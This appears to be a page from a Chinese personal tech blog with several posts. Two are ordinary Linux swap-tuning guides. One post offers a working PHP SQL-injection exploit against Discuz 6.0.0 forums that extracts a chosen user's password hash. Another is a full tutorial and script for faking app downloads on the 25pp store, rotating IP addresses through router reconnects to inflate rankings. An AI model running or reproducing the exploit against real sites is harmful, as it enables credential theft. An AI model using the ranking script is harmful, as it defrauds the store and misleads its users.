RT,经过多次测试,amazon的邮件代发服务,QQ邮箱已经收不到了。测试日期:2013年11月11日。

Categories: 感悟 Tags: ,

设置linux的swap的使用频率0+

4,821 views / 2013.11.06 / 9:09 下午

Ubuntu 默认的 vm.swappiness 值是 60,这一默认值已经很合适了。但你可以改小一些降低swap 的加载,系统性能会有一点点的提升,输入代码:sysctl -q vm.swappiness.你会看到值是 60.
更改代码:sudo sysctl vm.swappiness=10.
这样你就将值由 60 改为 10,这可以大大降低系统对于 swap 的写入,建议内存为 512m 左右的朋友采用此方法。如你你发现你对于 swap 的使用极少,可以将值设为 0,这并不会禁止你对 swap 的使用,而是使你的系统对于 swap 的写入尽可能的少,同时尽可能多的使用你的物理内存。
这对于你在切换应用程序时有着巨大的作用,因为这样的话它们是在物理内存而非swap 分区中。
如果你想永久得改变这一值,你需要更改 sysctl.conf 文件:
代码:sudo vi /etc/sysctl.conf,修改:vm.swappiness=10到末行,需要重启生效。

小贴士:1G 内存推荐值为 5,2G 内存推荐值为 3,不推荐把值设为 0.

Categories: 感悟 Tags: ,

Ubuntu Server挂载swap文件(自动挂载)0+

20,607 views / 2013.10.25 / 3:03 上午

阿里云安装系统的时候,并没有挂载swap分区。而我们对数据盘进行分区的时候,把整个磁盘都用上了,并没用预留空间。swap分区是行不通了,只能试试swap文件。

建立一个有连续空间的空白文件

# dd if=/dev/zero of=SWAPFILE bs=1024 count=1048576
1048576+0 records in
1048576+0 records out
1073741824 bytes (1.1 GB) copied, 59.7957 s, 18.0 MB/s

需要格式化:

mkswap SWAPFILE 1048576
Setting up swapspace version 1, size = 1048572 KiB
no label, UUID=1aaed031-33ef-479b-a9a4-2f008a7bbb2f

使用格式化完毕的文件:

# swapon SWAPFILE

查看文件使用情况:

# swapon -s
Filename Type Size Used Priority
/srv/SWAPFILE file 1048572 95852 -1

加入自动启用

为避免重启后swapfile生效,可以将启用swap的代码加入启动文件中,对于ubuntu server,编辑 /etc/rc.local 文件,加入以下内容(具体文件路径自定):
swapon /srv/SWAPFILE

ps. 在此之前,本人尝试修改 /etc/fstab 的方法各种不生效,不知道为何。经过半个小时排查,才发现原来是/etc/rc.local中把swap关掉了:
swapoff -a

天煞的!把这句删掉,写到/etc/fstab中的挂载就生效了:
/srv/SWAPFILE swap swap defaults 0 0

Categories: 分享 Tags:

杜工版discuz6.0.0漏洞利用脚本0+

12,331 views / 2013.08.18 / 3:03 下午

杜工版discuz6.0.0漏洞利用脚本
学习研究技术用,切勿用于非法用途
修改域名和要破解的用户uid后,运行查看输出内容中是否有密码,如果没有说明论坛漏洞已经被修复
代码如下:

error_reporting(E_ALL&E_NOTICE);
/*杜工版discuz6.0.0漏洞利用脚本*/
/*学习研究技术用,切勿用于非法用途*/
$host = "www.xxx.com";
$path = "forum/";
$port = 80;
$uid = 1;
$content = "action=search&searchid=22%cf' UNION SELECT 1,password,3,password/**/from/**/cdb_members/**/where/**/uid=" . $uid . "/*&do=submit";

$data = "POST /" . $path . "/index.php" . " HTTP/1.1\r\n";
$data .= "Accept: */*\r\n";
$data .= "Accept-Language: zh-cn\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "User-Agent: wap\r\n";
$data .= "Host: " . $host . "\r\n";
$data .= "Content-length: " . strlen($content) . "\r\n";
$data .= "Connection: Close\r\n";
$data .= "\r\n";
$data .= $content . "\r\n\r\n";
$ock = fsockopen($host, $port);
if (!$ock) {
	echo 'No response from ' . $host . "\n";;
	die;
} 
fwrite($ock, $data);
while (!feof($ock)) {
	echo fgets($ock, 1024);
}
Categories: 感悟 Tags:

如何刷应用商店排名0+

9,118 views / 2013.07.01 / 9:09 下午

目前应用商店可谓五花八门,比较简单的是直接把官方商店的应用信息都抓过来,赚个展现的广告费,如gao7.com; 略复杂的是内容全部开发者自提,相当于重新做了个应用商店,可以和官方抗衡,如91.com; 再复杂些的就是结合前面两点的内容,既有开发者的提交,也有自动从官方的抓取,如同步推和25pp.  杜工将以25pp为例,从技术层面介绍刷应用排名的详细的方法。

知识储备:

1. tcp通讯的基本方式

2.抓包工具的使用 ,杜工喜欢的是fiddler.(http://fiddler2.com/)

3.家用路由器基本配置

4.php基础

原理:

利用路由器重拨功能变换ip,然后用php工具模拟手机助手向服务器发送下载数据,以达到目的。

Step 1:

打开手机应用PP助手,找到要刷的应用,开始抓包,然后点下载,停止抓包。在抓包工具中找到下载过程中进行的网络通讯,将post的内容予以保存. 此时注意,post的内容是一堆乱码,不要复制保存,而要使用16进制模式的”save to selected”功能, 我们将其保存为hex文件. 并记录header头信息:

 
1

图1 找到下载的tcp连接

 

2

图2 保存post的boday信息到文件

 

记录header头信息:

POST <a href="http://mobileup.25pp.com/index.php:80">http://mobileup.25pp.com/index.php:80</a> HTTP/1.1
Host: mobileup.25pp.com
Connection: keep-alive
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Cookie: pgv_pvi=4947xxxxx; Hm_lvt_80c7667d40c35eec40368ef5cd6547d4=1372384421; __utma=113739972.1739925924.1372384420.1372384420.1372384420.1; __utmz=113739972.1372384420.1.1.utmcsr=baidu|utmccn=(organic)|utmcmd=organic|utmctr=%E7%BE%8E%E8%85%BF%E9%89%B4%E8%B5%8F
Accept-Language: zh-cn
Accept: */*
Content-Length: 63
Connection: keep-alive
User-Agent: 25pp/0.990 CFNetwork/609.1.4 Darwin/13.0.0

Step 2:

用电脑登陆到路由器管理后台,查看断开连接和开始连接的页面,并记录header头信息。我家的比较简单,直接post不同变量到同一个链接地址,就可以实现路由器重拨,以达到换ip功能。该过程具体不在详述,一会儿在php文件中体现。

 

Step 3:

开始编码:

 

<?php
 
//开始模拟下载过程
$host = "mobileup.25pp.com";
$path = "index.php:80";
$port = 80;
$content = file_get_contents("hex");
 
$data = "POST /" . $path . " HTTP/1.1\r\n";
$data .= "Connection: keep-alive\r\n" . "Accept-Encoding: gzip, deflate\r\n" . "Content-Type: application/x-www-form-urlencoded\r\n" . "Cookie: pgv_pvi=4947xxxxx; Hm_lvt_80c7667d40c35eec40368ef5cd6547d4=1372384421; __utma=113739972.1739925924.1372384420.1372384420.1372384420.1; __utmz=113739972.1372384420.1.1.utmcsr=baidu|utmccn=(organic)|utmcmd=organic|utmctr=%E7%BE%8E%E8%85%BF%E9%89%B4%E8%B5%8F\r\nAccept-Language: zh-cn\r\n" . "Accept: */*\r\n" . "Content-Length: 63\r\n" . "Connection: keep-alive\r\n" . "User-Agent: 25pp/0.990 CFNetwork/609.1.4 Darwin/13.0.0\r\n";
 
$data .= "\r\n";
$data .= $content . "\r\n\r\n";
//刷1000次不过分吧?
while ($j < 1000) {
	$j++;
	for($i = 0;$i < 21;$i++) {
		$ock = fsockopen($host, $port);
		if (!$ock) {
			echo 'No response from ' . $host . "\n";; 
			// die;
		} 
		fwrite($ock, $data);
		while (!feof($ock)) {
			echo fgets($ock, 1024);
		} 
		sleep(1);
		echo $j . "\t" . $i . "\n";
	} 
	reconnect();
       //路由器更换ip需要一定的时间,视情况而定。
	sleep(15 * 60);
} 
function curl($url, $ifpost = 0, $datafields = '', $cookiefile = '') {
       //这个地方要注意了,是路由器的认证登陆信息,抓包的时候应该会有所体现。
	$header = array("Authorization: Basic XXXXXXXXXX=");
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
	$ifpost && curl_setopt($ch, CURLOPT_POST, $ifpost);
	$ifpost && curl_setopt($ch, CURLOPT_POSTFIELDS, $datafields);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
	$cookiefile && curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiefile);
	$cookiefile && curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiefile);
	$r = curl_exec($ch);
	curl_close($ch);
	return $r;
} 
function reconnect() {
	// 断开
	$t1 = curl("http://192.168.1.1/RST_conn_status.htm");
	preg_match("/timestamp=([0-9]+)/", preg_replace("/[\n]/", "", $t1), $m);
	curl("http://192.168.1.1/apply.cgi?/RST_conn_status.htm%20timestamp=" . $m[1], 1, "submit_flag=connect_status&endis_connect=0");
	sleep(10); 
	// 连接
	$t1 = curl("http://192.168.1.1/RST_conn_status.htm");
	preg_match("/timestamp=([0-9]+)/", preg_replace("/[\n]/", "", $t1), $m);
	curl("http://192.168.1.1/apply.cgi?/RST_conn_status.htm%20timestamp=" . $m[1], 1, "submit_flag=connect_status&endis_connect=3");
	sleep(20);
}

 

好了,编码完成。到 cmd中运行下看看效果吧。

Categories: 感悟 Tags: